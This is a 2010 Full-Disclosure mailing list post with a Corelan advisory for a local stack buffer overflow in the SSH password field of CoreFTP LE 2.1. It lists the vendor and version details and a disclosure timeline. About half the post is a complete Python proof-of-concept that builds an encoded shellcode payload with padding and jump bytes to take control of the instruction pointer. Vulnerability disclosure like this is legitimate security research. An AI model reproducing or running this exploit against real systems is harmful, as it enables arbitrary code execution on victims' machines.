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[Full-disclosure] CoreFTP Stack Buffer Overflow
- To: <full-disclosure@xxxxxxxxxxxxxxxxx>, <secalert@xxxxxxxxxxxxxxxxxx>, <bugtraq@xxxxxxxxxxxxxxxxx>, <vuln@xxxxxxxxxxx>
- Subject: [Full-disclosure] CoreFTP Stack Buffer Overflow
- From: Steven Seeley <seeleymagic@xxxxxxxxxxx>
- Date: Tue, 2 Feb 2010 21:28:48 +1100
http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-007-coreftp-password-field-stack-buffer-overflow/
enjoy,
mr_me
_________________________________________________________________
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http://clk.atdmt.com/NMN/go/157631292/direct/01/|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| security@xxxxxxxxxx |
| |
|-------------------------------------------------[ EIP Hunters ]--|
| |
| Vulnerability Disclosure Report |
| |
|------------------------------------------------------------------|
Advisory : CORELAN-10-007
Disclosure date : 2nd Feb 2010
0x00 : Vulnerability information
--------------------------------
[*] Product : Coreftp LE
[*] Version : 2.1
[*] Vendor : ServersMan
[*] URL : http://www.coreftp.com/
[*] Platform : Windows XP SP3
[*] Type of vulnerability : Local Stack buffer overflow
[*] Risk rating : Low
[*] Issue fixed in version : No
[*] Vulnerability discovered by : mr_me
[*] Greetings to : corelanc0d3r, EdiStrosar, jnz, rick2600, ekse, MarkoT,
sinn3r & Jacky from Corelan Team
0x01 : Vendor description of software
-------------------------------------
From the vendor website:
Now you can download Core FTP LE - free Windows software that includes the
client FTP features you need. Features like SFTP (SSH), SSL, TLS, IDN, browser
integration, site to site transfers, FTP transfer resume, drag and drop
support, file viewing & editing, firewall support, custom commands, FTP URL
parsing, command line transfers, filters, and much, much more!
This free, secure FTP client gives you a fast, easy, reliable way to update and
maintain your website via FTP. It also provides a secure method (via SSL, TLS,
or SFTP) to upload / download files to and from FTP servers. Check out the
list of features and you'll find almost every feature you need, all in a free
ftp program. There are no popup ads, advertising or spyware and you're never
asked or reminded to register.
0x02 : Vulnerability details
----------------------------
The vulnerability can be triggered by convincing a user to submit an overly
long String for the SSH password. The buffer is unchecked,
resulting in control of the instruction pointer, allowing for arbitrary code
injection.
0x03 : Vendor communication
---------------------------
[*] January 17, 2010 - Initial disclosure to the vendor
[*] January 20, 2010 - Vendor reminded about vulnerability
[*] January 21, 2010 - Vendor replied and acknowledged the vulnerability
[*] January 21, 2010 - Requested patch date
[*] January 30, 2010 - reminded vendor of releasing a patch date
[*] February 2, 2010 - No contact or response from vendor
[*] February 2, 2010 - Public disclosure
0x04 : Exploit/PoC
------------------
#!/usr/bin/python
#
#
#
print "|------------------------------------------------------------------|"
print "| __ __ |"
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |"
print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |"
print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |"
print "| |"
print "| http://www.corelan.be:8800 |"
print "| security@xxxxxxxxxx |"
print "| |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] CoreFTP v2.1 b1637 (password field) Universal BOF exploit"
sc = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
"\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
"\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
"\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
"\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
"\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
"\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
"\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
"\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
"\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
"\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
"\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
"\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
"\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
"\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
"\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
"\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
"\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
"\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
"\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
"\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
"\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
"\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
"\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
"\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
"\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
"\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
"\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
"\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
"\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
"\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
"\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
"\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
"\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
"\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
"\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
"\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
"\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a");
print "[+] Creating buffer string in overflowpassword.txt."
stuff = "\x41" * 145
stuff += "\x90" * 5
stuff += sc
stuff += "\x41" * (1008-len(stuff)-5)
stuff += "\xe9\x7c\xfc\xff\xff" # Lets fly
stuff += "\xeb\xf9\x90\x90" # Jump back
stuff += "\x0b\x0b\x27\x00" # partial/null overwrite
f1 = open('overflowpassword.txt','w');
f1.write(stuff);
f1.close();_______________________________________________
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